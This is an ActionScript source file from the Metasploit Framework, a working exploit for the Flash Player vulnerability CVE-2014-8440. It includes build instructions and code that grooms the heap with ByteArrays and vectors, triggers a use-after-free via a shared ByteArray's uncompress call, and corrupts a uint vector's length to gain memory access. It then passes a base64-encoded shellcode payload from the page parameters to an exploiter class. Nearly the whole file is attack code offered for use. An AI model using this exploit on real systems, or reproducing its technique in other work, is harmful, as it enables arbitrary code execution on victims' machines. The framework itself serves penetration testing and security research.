metasploit-framework/external/source/exploits/CVE-2014-8440/Exploit.as

282 lines
8.0 KiB
ActionScript
Executable File

// Build how to:
// 1. Download the AIRSDK, and use its compiler.
// 2. Download the Flex SDK (4.6)
// 3. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
// 4. Build with: mxmlc -o msf.swf Main.as
// It uses original code from @hdarwin89 for exploitation using ba's and vectors
package
{
import flash.utils.*
import flash.display.*
import flash.system.*
import mx.utils.Base64Decoder
public final class Exploit extends Sprite {
private var shared_ba:ByteArray = null
private var hole_ba:ByteArray = null;
private var confuse_length_ba:ByteArray = null;
private var fake_ba:ByteArray = null;
private var worker:Worker = null;
private var byte_array_vector:Vector.<Object> = null;
private var byte_array_vector_length:int;
private var object_vector:Vector.<Object> = null;
private var object_vector_length:uint;
private var ba:ByteArray
private var uv:Vector.<uint>
private var corrupted_uv_index:uint = 0
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
private var b64:Base64Decoder = new Base64Decoder();
private var payload:ByteArray
private var platform:String
private var os:String
private var exploiter:Exploiter
public function Exploit() {
this.object_vector_length = 5770 * 2
this.byte_array_vector_length = 510 * 2
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
os = LoaderInfo(this.root.loaderInfo).parameters.os
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
var pattern:RegExp = / /g;
b64_payload = b64_payload.replace(pattern, "+")
b64.decode(b64_payload)
payload = b64.toByteArray()
this.initialize_worker_and_ba()
if (!this.trigger())
{
return
}
var index:uint = search_uint_vector(114, 0x40000000)
if (index == 0xffffffff) {
return
}
this.uv = this.object_vector[this.corrupted_uv_index]
for (var i:uint = 0; i < object_vector.length; i++) {
if (i != corrupted_uv_index)
object_vector[i] = null
}
exploiter = new Exploiter(this, platform, os, payload, uv)
}
final private function initialize_worker_and_ba():Boolean{
this.ba = new ByteArray()
this.ba.endian = "littleEndian"
this.ba.length = 1024
this.ba.writeUnsignedInt(0xdeedbeef)
this.ba.position = 0
this.shared_ba = new ByteArray()
this.shared_ba.shareable = true
this.shared_ba.endian = Endian.LITTLE_ENDIAN
this.shared_ba.writeUnsignedInt(252536)
this.shared_ba.writeUnsignedInt(16777216)
this.confuse_length_ba = new ByteArray()
this.confuse_length_ba.length = 0x2000
this.confuse_length_ba.endian = Endian.LITTLE_ENDIAN
this.fill_byte_array(this.confuse_length_ba, 0xAAAAAAAA)
this.fake_ba = new ByteArray();
this.fake_ba.endian = Endian.LITTLE_ENDIAN;
this.worker = WorkerDomain.current.createWorker(loaderInfo.bytes);
return true;
}
final private function trigger():Boolean{
// Memory massaging
// 1. Create ByteArray's of 0x2000 lenght and mark one of them (hole_ba)
this.fill_byte_array_vector();
// 2. Clear the marked ByteArray
this.hole_ba.clear();
// The shared_ba should be left in "shared" state
this.worker.setSharedProperty("fnfre", this.shared_ba)
this.worker.setSharedProperty("vfhrth", this.confuse_length_ba)
this.worker.setSharedProperty("vfhrth", this.shared_ba)
// fake_ba *data* is going to fill the space freed from the hole
this.fake_ba.length = 0x2000;
this.fill_byte_array(this.fake_ba, 0xBBBBBBBB);
// Trigger the vulnerability, if the memory layout is good enough
// the (freed) hole_ba metadata will end being the shared_ba metadata...
this.shared_ba.uncompress()
// So its size should be 0x2000
if (this.shared_ba.length != 0x2000)
{
return false
}
// Free the fake_ba and make holes on the ByteArray's
// allocated on massaging.
this.free_fake_and_make_holes()
// Fill the holes and the fake_ba data space with
// <uint> vectors
this.fill_with_vectors()
// Hopefully the shared_ba metadata, product of the vulnerability
// at this moment point to the <uint> vectors in memory =) it means
// game over.
var pwn_test:uint;
this.shared_ba.position = 0;
pwn_test = this.shared_ba.readUnsignedInt();
if (pwn_test == 0xBBBBBBBB)
{
return false
}
return true;
}
final private function fill_byte_array(local_ba:ByteArray, value:int):void{
var i:int;
local_ba.position = 0;
i = 0;
while (i < (local_ba.length / 4))
{
local_ba.writeInt(value);
i++;
};
local_ba.position = 0;
}
final private function fill_byte_array_vector():void{
var i:int;
var local_ba:ByteArray;
this.byte_array_vector = new Vector.<Object>(this.byte_array_vector_length)
i = 0;
while (i < this.byte_array_vector_length)
{
local_ba = new ByteArray();
this.byte_array_vector[i] = local_ba;
local_ba.endian = Endian.LITTLE_ENDIAN;
i++;
}
var hole_index:int = this.byte_array_vector_length * 4 / 5;
if (hole_index % 2 == 0)
{
hole_index++;
}
for(i = 0; i < this.byte_array_vector_length; i++)
{
local_ba = this.byte_array_vector[i] as ByteArray
local_ba.length = 0x2000
this.fill_byte_array(local_ba, 0xCCCCCCCC)
local_ba.writeInt(0xbabefac0)
local_ba.writeInt(0xbabefac1)
local_ba.writeInt(i)
local_ba.writeInt(0xbabefac3)
if (i == hole_index)
{
this.hole_ba = local_ba;
}
}
return;
}
final private function free_fake_and_make_holes():void {
var i:int
var clear_ba:ByteArray
var hole_index:int = this.byte_array_vector_length * 4 / 5
if (hole_index % 2 == 0)
{
hole_index++;
}
for (i = 0; i < this.byte_array_vector_length; i++)
{
if (i == hole_index) {
this.fake_ba.clear();
} else {
if (i % 2 == 1)
{
clear_ba = this.byte_array_vector[i] as ByteArray
this.fill_byte_array(clear_ba, 0xDDDDDDDD)
clear_ba.clear()
}
}
}
return
}
final private function fill_with_vectors():void {
var i:uint;
var uint_vector:Vector.<uint>;
var objects:Vector.<Object>;
this.object_vector = new Vector.<Object>(this.object_vector_length);
i = 0
while (i < this.object_vector_length)
{
this.object_vector[i] = new Vector.<uint>()
i++
}
i = 0
while (i < this.object_vector_length)
{
uint_vector = this.object_vector[i] as Vector.<uint>
uint_vector.length = 114
uint_vector[0] = 0xfeedbabe
uint_vector[1] = i
uint_vector[2] = 0xbabeface
i++
}
}
// Use the corrupted shared_ba to search and corrupt the uint vector
// Returns the offset to the *length* of the corrupted vector
private function search_uint_vector(old_length:uint, new_length:uint):uint {
this.shared_ba.position = 0
var i:uint = 0
var length:uint = 0
var atom:uint = 0
var mark_one:uint = 0
var index:uint = 0
var mark_two:uint = 0
while (i < 0x2000) {
length = shared_ba.readUnsignedInt()
if (length == old_length) {
atom = shared_ba.readUnsignedInt()
mark_one = shared_ba.readUnsignedInt()
index = shared_ba.readUnsignedInt()
mark_two = shared_ba.readUnsignedInt()
if (mark_one == 0xfeedbabe && mark_two == 0xbabeface) {
shared_ba.position = i
shared_ba.writeUnsignedInt(new_length)
this.corrupted_uv_index = index
return i;
}
i = i + 16
}
i = i + 4
}
return 0xffffffff
}
}
}